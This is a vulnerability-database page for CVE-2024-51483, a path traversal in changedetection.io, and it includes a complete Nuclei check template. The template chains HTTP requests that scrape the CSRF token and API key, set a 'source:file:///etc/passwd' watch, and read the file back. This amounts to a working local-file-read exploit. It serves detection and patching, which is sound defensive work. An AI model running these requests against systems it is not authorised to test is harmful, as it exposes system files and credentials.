HexBrain

Browse / CVEs / CVE-2024-51483

CVE-2024-51483· changedetection / changedetection· CWE-22

Changedetection.io <= 0.47.4 - Path Traversal

mediumseverity
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source-file-///etc/passwd` can be used to retrieve local system files, where the more traditional `file-///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.

Impact

Attackers can exploit this vulnerability to compromise system security.

Fix

Apply security patches to address CVE-2024-51483.

How to confirm it

Send: GET /settings
Positive when: status 200 or 302
Send: POST /settings
Positive when: status 200
Send: GET {{BaseURL}}/
Positive when: status 200 or 302
Send: POST /form/add/quickwatch
Positive when: status 302
Send: GET /?{{wait_for(9)}}
Positive when: status 200 or 302
Send: GET /api/checknow?uuid={{uuid}}
Positive when: status 200 or 302
Send: GET /preview/{{uuid}}
Positive when: contains "root:x:0" AND contains in header "text/html" AND status 200
Send: DELETE /api/v1/watch/{{uuid}}
Positive when: matches /^0$/ AND contains in content_type "application/json" AND status 200 or 204

Run it with nuclei: nuclei -id CVE-2024-51483 -u <target>

The full check
id: CVE-2024-51483

info:
  name: Changedetection.io <= 0.47.4 - Path Traversal
  author: iamnoooob,rootxharsh,pdresearch,Tito0015
  severity: medium
  description: |
    changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source-file-///etc/passwd` can be used to retrieve local system files, where the more traditional `file-///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51483.
  reference:
    - https://github.com/advisories/GHSA-cwgg-57xj-g77r
    - https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L19
    - https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/processors/__init__.py#L35
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-cwgg-57xj-g77r
    - https://github.com/user-attachments/files/17591630/CL-ChangeDetection.io.Path.Travsersal-311024-181039.pdf
  classification:
    cve-id: CVE-2024-51483
    cwe-id: CWE-22
    epss-score: 0.02293
    epss-percentile: 0.83394
    cpe: cpe:2.3:a:changedetection:changedetection:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 10
    vendor: changedetection
    product: changedetection
    shodan-query: http.title:"change detection"
    fofa-query: title="change detection"
    google-query: intitle:"change detection"
  tags: cve,cve2024,changedetection,lfi,vuln

http:
  - raw:
      - |
        GET /settings HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="csrf_token" value="([^"]+)"'
        internal: true

      - type: regex
        name: api_key
        part: body
        group: 1
        regex:
          - 'id="api-key">([a-f0-9]+)</span>'
        internal: true

      - type: regex
        name: fetch_backend_orig
        part: body
        group: 1
        regex:
          - '<input checked[^>]*name="application-fetch_backend"[^>]*value="([^"]+)"'
        internal: true

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - raw:
      - |
        POST /settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&requests-time_between_check-weeks=&requests-time_between_check-days=&requests-time_between_check-hours=3&requests-time_between_check-minutes=&requests-time_between_check-seconds=&requests-jitter_seconds=0&application-filter_failure_notification_threshold_attempts=6&application-password=&application-rss_hide_muted_watches=y&application-pager_size=50&application-notification_urls=&application-notification_title=ChangeDetection.io+Notification+-+%7B%7Bwatch_url%7D%7D&application-notification_body=%7B%7Bwatch_url%7D%7D+had+a+change.%0D%0A---%0D%0A%7B%7Bdiff%7D%7D%0D%0A---%0D%0A&application-notification_format=Text&application-base_url=&application-fetch_backend=html_webdriver&application-webdriver_delay=&requests-default_ua-html_requests=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F87.0.4280.66+Safari%2F537.36&requests-default_ua-html_webdriver=&application-ignore_whitespace=y&application-global_subtractive_selectors=&application-global_ignore_text=&application-api_access_token_enabled=y&requests-extra_proxies-0-proxy_name=&requests-extra_proxies-0-proxy_url=&requests-extra_proxies-1-proxy_name=&requests-extra_proxies-1-proxy_url=&requests-extra_proxies-2-proxy_name=&requests-extra_proxies-2-proxy_url=&requests-extra_proxies-3-proxy_name=&requests-extra_proxies-3-proxy_url=&requests-extra_proxies-4-proxy_name=&requests-extra_proxies-4-proxy_url=&requests-extra_browsers-0-browser_name=&requests-extra_browsers-0-browser_connection_url=&requests-extra_browsers-1-browser_name=&requests-extra_browsers-1-browser_connection_url=&requests-extra_browsers-2-browser_name=&requests-extra_browsers-2-browser_connection_url=&requests-extra_browsers-3-browser_name=&requests-extra_browsers-3-browser_connection_url=&requests-extra_browsers-4-browser_name=&requests-extra_browsers-4-browser_connection_url=&save_button=Save

    skip-variables-check: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        name: csrf2
        part: body
        group: 1
        regex:
          - 'name="csrf_token" value="([^"]+)"'
        internal: true

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - raw:
      - |
        POST /form/add/quickwatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf2}}&url=source%3Afile%3A%2F%2F%2Fetc%2Fpasswd&tags=&watch_submit_button=Watch&processor=text_json_diff

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        GET /?{{wait_for(9)}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: uuid
        part: body
        group: 1
        regex:
          - 'file:///etc/passwd[\s\S]*?uuid=([a-f0-9-]+)'
        internal: true

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - raw:
      - |
        GET /api/checknow?uuid={{uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - raw:
      - |
        GET /preview/{{uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

  - raw:
      - |
        DELETE /api/v1/watch/{{uuid}} HTTP/1.1
        Host: {{Hostname}}
        x-api-key: {{api_key}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "^0$"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
          - 204
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from